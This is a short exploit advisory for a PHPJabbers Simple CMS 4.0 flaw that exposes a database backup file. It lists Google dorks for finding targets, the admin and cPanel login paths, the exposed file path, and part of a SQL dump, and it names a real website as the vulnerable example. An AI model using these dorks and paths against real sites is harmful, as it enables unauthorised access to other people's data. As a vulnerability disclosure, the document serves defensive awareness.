#################################################################################################

# Exploit Title : Simple CMS PHPJabbers Stivasoft 4.0 Database Backup
Disclosure
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 17/12/2018
# Vendor Homepage : phpjabbers.com ~ stivasoft.com ~ racingriverwebs.com
# Software Download Link : phpjabbers.com/simple-cms/
# Demo Software :
demo.phpjabbers.com/1544995520_332/index.php?controller=pjAdminSections&action=pjActionIndex
+ Login Details => Email:  admin@admin.com  Password:  pass
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : 4.0
# Exploit Risk : Medium
# Google Dorks : intext:''PHP Scripts Copyright A(c) 2018 StivaSoft Ltd''
+ intext:''Hotel Booking script by PHPJabbers.com -
+ intext:''A(c) Copyright Dravis Interests 2003-2018 Website by Racing River
Website Solutions''
+ intext:''Website by Racing River Website Solutions''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]

#################################################################################################

# Admin Panel Login Path :

/scms4/index.php?controller=Admin&action=login

# CPanel Login Path :

p3plcpnl0800.prod.phx3.secureserver.net:2083

# Exploit :

/scms4/app/config/database.sql

#################################################################################################

# Example SQL Dump Information => dravisinterests.com

DROP TABLE IF EXISTS `simple_cms_files`;
CREATE TABLE IF NOT EXISTS `simple_cms_files` (

DROP TABLE IF EXISTS `simple_cms_roles`;
CREATE TABLE IF NOT EXISTS `simple_cms_roles` (

DROP TABLE IF EXISTS `simple_cms_sections`;
CREATE TABLE IF NOT EXISTS `simple_cms_sections` (

DROP TABLE IF EXISTS `simple_cms_users`;
CREATE TABLE IF NOT EXISTS `simple_cms_users` (

DROP TABLE IF EXISTS `simple_cms_users_files`;
CREATE TABLE IF NOT EXISTS `simple_cms_users_files` (

DROP TABLE IF EXISTS `simple_cms_users_sections`;
CREATE TABLE IF NOT EXISTS `simple_cms_users_sections` (

DROP TABLE IF EXISTS `simple_cms_options`;
CREATE TABLE IF NOT EXISTS `simple_cms_options` (

INSERT INTO `simple_cms_roles` (`id`, `role`, `status`) VALUES
(1, 'admin', 'T'),
(2, 'editor', 'T');

#################################################################################################

# Example Vulnerable Site =>

[+] dravisinterests.com/scms4/app/config/database.sql => [ Proof of Concept
for Vuln ] => archive.is/43J4N

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################